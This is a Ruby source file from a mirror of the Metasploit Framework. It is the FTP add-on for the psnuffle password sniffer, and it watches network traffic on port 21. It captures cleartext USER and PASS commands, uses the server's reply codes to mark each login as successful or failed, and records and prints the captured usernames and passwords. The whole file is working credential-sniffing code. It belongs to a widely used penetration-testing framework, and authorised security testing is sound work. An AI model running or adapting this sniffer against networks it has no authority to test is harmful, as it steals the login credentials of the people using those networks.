1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-09-04 20:18:27 +02:00
metasploit-framework/data/exploits/psnuffle/ftp.rb
2023-12-16 23:40:30 +05:30

97 lines
2.7 KiB
Ruby
Executable File

# Psnuffle password sniffer add-on class for ftp
# part of psnuffle sniffer auxiliary module
#
# When db is available reports go into db
# Also incorrect credentials are sniffed but marked
# as unsuccessful logins... (Typos are common :-) )
#
class SnifferFTP < BaseProtocolParser
def register_sigs
self.sigs = {
:banner => /^(220\s*[^\r\n]+)/i,
:user => /^USER\s+([^\s]+)/i,
:pass => /^PASS\s+([^\s]+)/i,
:login_pass => /^(230\s*[^\n]+)/i,
:login_fail => /^(5\d\d\s*[^\n]+)/i,
:bye => /^221/
}
end
def parse(pkt)
# We want to return immediatly if we do not have a packet which is handled by us
return unless pkt.is_tcp?
return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21)
s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt))
s[:sname] ||= "ftp"
self.sigs.each_key do |k|
# There is only one pattern per run to test
matched = nil
matches = nil
if(pkt.payload =~ self.sigs[k])
matched = k
matches = $1
end
case matched
when :login_fail
if(s[:user] and s[:pass])
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Response code 5 from server",
:status => Metasploit::Model::Login::Status::INCORRECT
)
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
s[:pass] = ""
return
end
when :login_pass
if(s[:user] and s[:pass])
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Response code 230 from server",
:status => Metasploit::Model::Login::Status::SUCCESSFUL
)
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
# Remove it form the session objects so freeup memory
sessions.delete(s[:session])
return
end
when :banner
# Because some ftp server send multiple banner we take only the first one and ignore the rest
if not (s[:info])
s[:info] = matches
report_service(s)
end
when :bye
sessions.delete(s[:session])
when nil
# No matches, no saved state
else
sessions[s[:session]].merge!({k => matches})
end # end case matched
end # end of each_key
end # end of parse
end